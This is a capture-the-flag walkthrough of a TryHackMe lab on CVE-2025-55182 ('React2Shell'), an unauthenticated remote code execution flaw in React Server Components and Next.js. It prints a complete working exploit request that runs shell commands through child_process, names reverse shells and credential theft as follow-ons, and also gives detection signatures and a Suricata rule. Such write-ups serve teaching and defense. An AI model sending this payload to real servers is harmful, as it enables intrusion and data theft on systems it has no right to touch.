Lab: https://tryhackme.com/room/react2shellcve202555182
Difficulty: Intermediate → Advanced
Category: Web Exploitation | Deserialization | RCE
CVE-2025-55182, nicknamed React2Shell, is one of those vulnerabilities that instantly makes defenders nervous 😬. Discovered in December 2025, it carries a CVSS score of 10.0, which already tells you this isn’t some edge-case bug.
At its core, this vulnerability affects React Server Components (RSC) and frameworks built on top of them — most notably Next.js. The scary part?
👉 Unauthenticated Remote Code Execution (RCE) 👉 Single crafted HTTP request 👉 Default configurations are vulnerable
No login. No special permissions. Just one well-formed request.
react-server-dom-webpackreact-server-dom-parcelreact-server-dom-turbopack
- 19.0.1
- 19.1.2
- 19.2.1
This room walks us through why this bug exists, how it is exploited, and what defenders can do about it.
Flag: No answer needed.
Before exploitation, we need architecture clarity.
React Server Components (introduced in React 19) allow parts of a React app to run on the server, not the browser. This means:
- Heavy computation stays server-side ⚙️
- Client receives only rendered output 📦
- Better performance, smaller bundles
Communication between client and server happens via the React Flight protocol. This protocol serializes data on the client and deserializes it on the server.
It uses special markers:
-
$@→ Chunk reference -
$B→ Blob reference -
Property paths via colon notation Example:
$1:constructor:constructor
Question: What symbol denotes a Blob reference?
✅ Answer: $B
At the heart of CVE-2025-55182 lies a classic unsafe deserialization flaw.
Let’s look at the vulnerable pattern (do not crop 👇):
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
// ... additional logic ...
return moduleExports[metadata[2]]; // VULNERABLE LINE
} In JavaScript, bracket notation:
obj[someKey]does not limit access to exported properties only. It walks the entire prototype chain.
Now comes the critical insight 👀:
- Every JavaScript function has a
.constructor constructorpoints to the Function constructorFunction("code")= arbitrary JS execution
Because the Flight protocol allows colon-separated paths, an attacker can send:
$1:constructor:constructor
Which resolves to:
- Get module chunk
- Access
.constructor - Access
.constructoragain → Function
At this point, game over 🎮.
Flag: No answer needed.
Now let’s break down maple3142’s PoC, step by step.
The attacker sends a multipart request containing a fake Chunk object:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\\"then\\":\\"$B1337\\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}This object mimics React’s internal Chunk structure.
By pointing then to Chunk.prototype.then, React is tricked into awaiting attacker-controlled logic.
The $B1337 marker triggers the Blob deserialization handler, which internally executes:
response._formData.get(response._prefix + id)But we poisoned:
_formData.get→Function_prefix→ malicious JS
Resulting execution:
Function("process.mainModule.require('child_process').execSync('xcalc');1337")💥 Arbitrary JavaScript execution achieved.
The PoC executes:
process.mainModule
.require('child_process')
.execSync('xcalc')This can be trivially replaced with:
- Reverse shells
- Secret exfiltration
- File reads
- Cloud credential theft ☠️
Flag: No answer needed.
Here’s the complete exploit request (verbatim, not cropped):
POST / HTTP/1.1
Host: localhost
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
(…multipart body continues…)
Next-Actionheader triggers Server Actionsmultipart/form-datais mandatory$@0creates a self-reference$B1337triggers Blob logicconstructor:constructorleads toFunction
This is not accidental — it’s a precisely engineered chain.
-
React: 19.0.0, 19.1.0, 19.1.1, 19.2.0
-
Next.js:
- ≥14.3.0-canary.77
- All 15.x
- Early 16.x
-
Others: React Router (RSC), Waku, Redwood SDK
📊 Wiz research: 39% of cloud environments exposed 🌐 Shodan: 571k+ React servers, 444k+ Next.js
That’s… a lot 😶
First in Repeater, make New HTTP Request and select Target.
Using Burp Suite Repeater, we send the payload:
execSync('id')And later:
execSync('whoami')-
User:
ubuntu -
Flag:
THM{React-19.2.0}
Clean, reliable, repeatable exploitation 💀
Good news for defenders 👮♂️ — exploitation leaves fingerprints.
Next-Actionheadermultipart/form-data"status":"resolved_model""then":"$1:__proto__:then"
These should never appear in normal user traffic.
alert http any any -> $LAN_NETWORK any (
msg:"Potential Next.js React2Shell / CVE-2025-66478 attempt";
flow:to_server,established;
content:"Next-Action"; http_header; nocase;
content:"multipart/form-data"; http_header; nocase;
pcre:"/Content-Disposition:\s*form-data;\s*name=\"0\"/s";
pcre:"/\"status\"\s*:\s*\"resolved_model\"/s";
pcre:"/\"then\"\s*:\s*\"\$1:__proto__:then\"/s";
classtype:web-application-attack;
sid:6655001;
rev:1;
)
{
"queries": {
"detect_rev2shell_react_server_components": {
"query": "SELECT name, version, path FROM npm_packages WHERE ...",
"interval": 3600
}
}
}Perfect for:
- CI/CD pipelines
- Endpoint audits
- Pre-production checks
React2Shell is a textbook example of:
- Why unsafe deserialization is deadly
- How prototype chains can betray you
- Why “default configs” are dangerous
Once patched versions are installed and npm audit recommendations followed, the exploit dies completely ✅.
🔥 Always patch fast.
🧠 Always understand why a bug exists — not just how to exploit it.
If you enjoyed this write-up or want to stay connected with my work in cybersecurity, CTFs, and VAPT:
🔗 GitHub: https://github.com/AdityaBhatt3010
💼 LinkedIn: https://www.linkedin.com/in/adityabhatt3010/
✍️ Medium: https://medium.com/@adityabhatt3010
Happy hacking — responsibly 🗿🚀




